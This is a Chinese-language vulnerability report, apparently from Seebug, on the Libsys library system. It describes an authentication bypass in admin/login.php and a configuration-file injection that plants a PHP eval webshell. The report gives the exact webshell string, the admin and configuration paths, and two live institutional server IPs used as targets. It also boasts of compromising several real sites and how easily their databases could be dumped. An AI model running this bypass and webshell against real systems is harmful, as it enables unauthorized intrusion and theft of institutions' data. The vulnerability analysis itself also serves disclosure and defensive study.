汇文Libsys图书管理系统全版本权限绕过+Getshell

2014-12-16T00:00:00
ID SSV:95278
Type seebug
Reporter Root
Modified 2014-12-16T00:00:00

Description

简要描述:

RT

详细说明:

由于一个很低级的代码错误,导致可以登录Libsys任意图书系统后台,并且由于代码未做过滤可直接getshell。

漏洞证明:

该图书管理系统的用户量很大,全国很大一部分院校都在使用此系统。经测试3.5-5.0版本都存在此漏洞,因为存在getshell 和脱裤的风险,因此危害比较大。 官网部分用户列表:

<img src="https://images.seebug.org/upload/201412/051218195d3dd7a4aeaa68b97c51acac4c1ff415.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

我这里以最新的5.0版简单的作下分析,: 先看看存在漏洞的文件:admin/login.php

session_start( ); if ( isset( $_REQUEST['username'] ) ) { $strUser = trim( $_REQUEST['username'] ); $strInput = trim( $_REQUEST['passwd'] ); $strMsg = "用户名或者密码错误"; switch ( $strUser ) { case "opac_admin" : $strPassWd = $strPassWdFile; $strMsg = verify_pwd( $strInput, $strPassWd ); $strUrl = "cfg_basic.php"; break; case "view_admin" : $strPassWd = $strPassWdView; $strMsg = verify_pwd( $strInput, $strPassWd ); $strUrl = "cfg_review.php"; break; default : $strMsg = "用户名或者密码错误"; break; } if ( $strMsg == false ) { $strMsg = "用户名或者密码错误"; } else { $_SESSION['ADMIN_USER'] = $strUser; header( "Location:".$strUrl ); } }

通过代码分析发现后台有两个管理员,一个是用来配置网站信息的,一个是查看评论的。并且这两个用户名都是在代码里写死的,(那如果登录时不用这两个用户来登录呢,那会交给default处理),注意看default分支处理,这里会给$strMsg变赋值,即$strMsg不为false,那接下来会跳到else分支处理,会生成名为ADMIN_USER的session,并且将刚刚登录的错误的用户名值赋值给它。 接下来看看判断session的代码:

session_start( ); if ( !isset( $_SESSION['ADMIN_USER'] ) ) { header( "Location:login.php" ); exit( ); }

就这简单的一句判断是否为空,呵呵,写这代码的估计实习生。 接下来我们随意到官网找几个网站验证一下: http://202.195.136.14:8080/ http://210.33.16.16:8080/ 后台地址:URL+/admin/login.php

<img src="https://images.seebug.org/upload/201412/05124829dc65da7957e8b2f8526813a6e3b52b7b.png" alt="2.png" width="600" onerror="javascript:errimg(this);">

点击登录并修改用户名修改为其他值:

<img src="https://images.seebug.org/upload/201412/0512522202666fb9c4c28fba167c89d53d1e4cc1.png" alt="3.png" width="600" onerror="javascript:errimg(this);">

修改提交之后会提示 用户名或者密码错误,没关系接着我们直接访问配置文件即可: 数据库配置:URL+/include/hwopacpwd.php

<img src="https://images.seebug.org/upload/201412/05125522e27318c8aee9a3e5fc293f756ba00eed.png" alt="4.png" width="600" onerror="javascript:errimg(this);">

网站配置:url+/include/hwopacpwd.php

<img src="https://images.seebug.org/upload/201412/051257301b2c4ff406c305432bea320041126746.png" alt="5.png" width="600" onerror="javascript:errimg(this);">

至此我们可以随意修改图书管理系统的配置,试了官方的测试站点,问题同样存在。 接下来通过代码分析,发现更新配置时代码未做过滤,

unction write_para( $strFileName, $strPara ) { $fhandle = fopen( $strFileName, "wb" ); if ( $fhandle ) { $strPara = "&lt;?php\n".$strPara."\n?&gt;"; if ( fwrite( $fhandle, $strPara ) ) { fclose( $fhandle ); $strMsg = "数据修改成功。"; } else { $strMsg = "数据修改失败。"; } } else { $strMsg = "数据修改失败。"; } return $strMsg; }

这样我们可以再在配置文件里插入任意内容,我们可以配置文件里追加一句话; 在配置全文索引文件夹路径时,修改

c:/hwopac/index/

c:/hwopac/index/";@eval($_POST['123']);//

之后我们打开被更新过配置的文件: /include/hwopacpwd.php

<img src="https://images.seebug.org/upload/201412/05131629b1f645f24dde40a244aa1164141288ad.png" alt="7.png" width="600" onerror="javascript:errimg(this);">

一句话已经写入成功,接下来菜刀连接即可

<img src="https://images.seebug.org/upload/201412/05131848802a2bb8889cfbdc7820b460c48d1164.png" alt="8.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201412/051319003f3a2edeaa17d1bf5ca97dfbc86bd01f.png" alt="9.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201412/05132013005f394ad3af790bb8babd45a522a471.png" alt="10.png" width="600" onerror="javascript:errimg(this);">

随便试了几家,成功拿下,裤子什么的那还不是分分钟的事。